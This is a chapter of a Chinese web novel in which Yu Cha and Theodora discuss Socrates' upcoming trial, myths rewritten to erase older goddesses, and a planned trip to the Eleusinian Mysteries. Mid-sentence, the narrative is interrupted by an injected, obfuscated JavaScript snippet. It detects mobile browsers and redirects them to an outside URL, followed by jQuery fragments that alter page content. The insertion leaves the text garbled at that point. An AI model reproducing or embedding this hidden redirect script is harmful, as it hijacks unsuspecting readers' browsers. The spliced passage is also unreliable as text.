苏格拉底的审判定在四月。


    消息是三天前传出来的——一个叫墨勒托斯的年轻人，联合了安尼托斯和吕孔，正式向五百人议事会提出公诉，罪名两项：不敬城邦之神，败坏青年。


    余茶听到这个消息时，正在狄奥多拉的书房里抄写一卷莎草纸。她的手顿了一下，笔尖在纸上洇开一小团墨渍。


    “他早就知道会这样。”狄奥多拉靠在窗边，看着外面的街道。阳光照在她脸上，却没有照亮她的眼睛，“他等了快七十年，终于等到了。”


    余茶放下笔。


    “他为什么不逃？”


    狄奥多拉转过身，看着她。


    “因为他是苏格拉底。”


    余茶想起那天傍晚，苏格拉底站在暮色中说：我是一只牛虻。神把我放在雅典这个昏昏欲睡的骏马身上，就是要我叮它、唤醒它。如果我不做，我就不配活着。


    “他能赢吗？”余茶问。


    狄奥多拉摇了摇头。


    “赢不是他的目的。”她说，“他要的是让那些指控他的人露出真面目，让陪审团看到自己是在判什么。赢不赢，他不在乎。”


    余茶想了想，问：“陪审团多少人？”


    “501人。”狄奥多拉的声音很平静，“抽签选出来的公民。有富人，有穷人，有读过书的，有不识字的。他们投票，多数决定。”


    501人。余茶在心里算着。只要两百五十一票认为他有罪，他就得死。


    “那些指控他的人，证据是什么？”


    狄奥多拉走到书桌前，在她对面坐下。


    “证据不重要。”她说，“重要的是情绪。墨勒托斯他们会说，苏格拉底不信城邦的神，把年轻人带坏了。他们会举例子——克里提阿斯，阿尔喀比亚德，那些曾经跟着苏格拉底学习、后来给城邦惹了麻烦的人。他们会说，是苏格拉底把他们教坏的。”


    “那是真的吗？”


    狄奥多拉看着她，美丽的眼眸中闪过一丝复杂的光芒。


    “你见过苏格拉底。你觉得他会把年轻人教坏吗？”


    余茶想了想苏格拉底那些问题——关于正义、虔诚、美德。他从不给答案，只是让人自己思考。


    “不会。”她说，“但如果一个人本来就想做坏事，苏格拉底也拦不住他。”


    狄奥多拉轻轻点点头。


    “你说对了。克里提阿斯和阿尔喀比亚德本来是什么人，他们自己心里清楚。但雅典人不愿意相信自己的孩子会学坏，他们宁愿相信有人在背后教唆。”


    余茶沉默了。


    她想起自己在克里特的经历。阿尔克提斯说地脉在愤怒时，多少人宁愿相信是她在召来灾祸，也不愿相信地下埋着他们无法理解的东西。指责一个人，比理解一件事容易得多。


    “我能做什么？”她问。


    狄奥多拉看着她。


    “你什么都做不了。”她说，“你是外邦人，没有发言权，不能上审判庭作证，甚至不能进审判庭旁听——除非有公民带你进去。而且，即使你能开口，你不是雅典人。他们会说，又一个外邦人在替苏格拉底说话，他果然把外邦人都招来了。”


    余茶低下头，看着桌上那卷没抄完的莎草纸。


    “所以只能看着。”


    “只能看着。”狄奥多拉站起身，“看着他们投票，看着他们判他死，看着他喝下毒酒。”


    余茶抬起头。


    “你说得好像已经判了一样。”


    狄奥多拉看着她，没有说话。


    窗外，街道上的人群依旧熙熙攘攘。有人在小声议论苏格拉底的案子，有人在争论他该不该死，有人在说墨勒托斯做得对，有人在骂那些跟着苏格拉底学习的年轻人。


    余茶听着那些声音，突然想起一件事。


    “普罗克洛斯之前说，赫西俄德写的潘多拉，是后来改过的版本。更早的版本里，潘多拉是大地母神的化身，是赐予者，不是惩罚者。”


    狄奥多拉点头。


    “那个更早的版本，你有记录吗？”


    狄奥多拉想了想。


    “有。但不多。赫西俄德之前的一些歌谣残篇，还有克里特岛上流传的一些古老祭词。除了普罗克洛斯说的，我在萨摩斯的时候，见过一个老祭司，他也知道一些。”


    余茶站起身，走到书架前。那里有她一年来抄录的所有文献——荷马的史诗，赫西俄德的《神谱》和《工作与时日》，品达的颂歌，还有从各地搜集来的残篇碎片。


    她抽出那卷《工作与时日》，翻开。


    赫西俄德的文字写得很清楚：潘多拉是宙斯命令赫淮斯托斯创造的第一个女人，用土和水捏成，赋予她人的声音和力量，让她带着一个盒子来到人间。她打开盒子，放出灾难、疾病和痛苦，只把希望关在盒子里。


    从此，女人成了男人的灾祸。


    余茶读着那些字，心里涌起一种奇怪的感觉。


    这不是神话。这是政治。


    “你看出来了？”狄奥多拉走到她身边。


    余茶点头。


    “他把女人写成灾难，把潘多拉写成惩罚。他需要这个。”她指着那些文字，“需要让人们相信，女人是坏的，是宙斯送来的惩罚。”


    “为什么？”


    “因为在此之前，女神才是主角。”狄奥多拉说，“大地母神，瑞亚，盖亚，她们比宙斯古老得多。宙斯的时代要确立，就必须把那些古老的女神贬低、改掉、遗忘。潘多拉只是一个例子。还有很多别的。”


    余茶想起苏格拉底说过的话：新神取代旧神，旧的故事需要改写。


    “你听说过珀耳塞福涅的故事吗？”狄奥多拉问。


    余茶点头。所有人都知道那个故事——冥王哈迪斯抢走了珀耳塞福涅，她的母亲得墨忒耳到处寻找，大地因此荒芜。后来宙斯出面调停，让珀耳塞福涅每年一半时间在地下，一半时间在地上。这就是四季的由来。


    “你知道更早的版本吗？”


    余茶摇头。


    狄奥多拉走到书架另一边，抽出一卷破旧的莎草纸。那纸边缘已经发脆，上面的字迹也有些模糊。


    “这是我年轻时在埃莱夫西斯抄的。”她说，“一个老祭司让我看的，不许外传。现在他死了，我也就不管了。”


    她把莎草纸摊开在桌上。


    余茶凑过去看。那些字迹是希腊语，但有些词的用法很古老，她读起来有些吃力。


    “冥界原本是女神掌管的。”狄奥多拉指着其中一行，“她的名字，在这里被抹掉了。后来被改成了哈迪斯。原本是女神统治地下，她收容死者，审判灵魂，赐予重生。后来，哈迪斯来了——不知道从哪里来的——他用诡计骗走了她的权力，把她囚禁在地下。然后，她的故事被改成了珀耳塞福涅，一个被抢走的少女，而不是一个被篡位的女王。”


    余茶盯着那些字，心跳如鼓。


    “囚禁在地下？”


    狄奥多拉点头。


    “你看这里——她从此不见天日，但大地仍记得她的名字。但名字被抹掉了，只剩下这个。”


    她的手指停在一个词上，珀耳塞福涅。但这个词的笔迹和周围不同，是后来加上去


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17235813|197565||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的。


    “原来的名字呢？”


    狄奥多拉摇头。


    “被凿掉了。这些原本刻在一块石板上，那个老祭司抄的时候，石板上的名字已经被凿掉了。他只来得及抄下周围的部分。”


    余茶沉默了很久。


    她想起星之眼里那些灌入她脑海的知识碎片，想起档案馆里那些刻着“断裂”和“入侵”的青铜碑，想起铜镜上那些各有不同的符号。


    母神文明不只是被篡改。它是被系统性地摧毁、抹除、替换。那些古老的女神——大地母神、冥界女王、赐予者潘多拉——她们的名字被凿掉，她们的神庙被拆毁，她们的故事被改写成男神的故事。


    这不是神话的演变。这是权力的更迭。


    “苏格拉底知道这些吗？”她问。


    狄奥多拉点头。


    “他知道。所以他才会死。”


    余茶看着她。


    “因为他在问问题？”她问，“因为他让人们去想，那些理所当然的东西，是不是真的理所当然？”


    狄奥多拉没有回答。


    窗外，夕阳正在西沉。金色的光芒洒在神庙的屋顶上，把那些白色的大理石染成温暖的颜色。卫城上的帕特农神庙依然矗立，接受着人们的朝拜。


    但余茶知道，在那座神庙下面，也许埋着被拆毁的更古老的神庙。在那座神庙供奉的女神下面，也许埋着被遗忘的更古老的女神。


    “你和苏格拉底都提到埃莱夫西斯。”她突然说，“那里埋着什么？”


    狄奥多拉叹了口气。


    “埋着真相。”她说，“关于死亡和重生，还有那个被囚禁的女王。埃莱夫西斯的大秘仪，每年秋天举行，持续九天。只有参加仪式的人，才知道里面发生了什么。那些知道的人，从不说出去。但每一个参加过的人，出来之后，都不再害怕死亡。”


    余茶等着她说下去。


    “据说，他们在仪式里看到了一些真相。”狄奥多拉说，“看到了死者的世界，看到了审判，看到了那个女王——不是珀耳塞福涅，是更古老的她。看到了她虽然被囚禁，但并没有被摧毁。她还在那里，等着。”


    等着什么？


    狄奥多拉没有说。也许她也不知道。


    余茶低头看着桌上那卷《工作与时日》，看着赫西俄德那些工整漂亮的文字。那些文字看起来那么可信，那么理所当然，以至于人们读了一代又一代，从不去想里面藏着多少谎言。


    “我得去埃莱夫西斯。”她说。


    狄奥多拉看着她，眼中没有惊讶。


    “我知道。”


    “秋天去。大秘仪的时候。”


    “我知道。”


    余茶沉默了一瞬。


    “你不劝我？”


    狄奥多拉摇了摇头。


    “劝你什么？劝你别去找真相？”她笑了，那笑容里带着一丝苦涩，“你和我一样。从离开家的那一刻起，就回不去了。”


    余茶不在再说话。


    窗外，夜色降临。雅典的街道渐渐沉寂，远处传来阵阵乐曲歌声，应该是有钱人的宴会。


    狄奥多拉收起那卷破旧的莎草纸，放回书架上。


    “苏格拉底审判的时候，我带你去。”她说，“你不能发言，但你可以看。看清楚雅典是怎么处死它最智慧的人。然后，你再决定，要不要继续找下去。”


    余茶点了点头。


    她摸了摸怀里的铜印章和陶片，感受着那些东西传来的微凉的温度。


    真相。


    代价。


    她已经开始付了。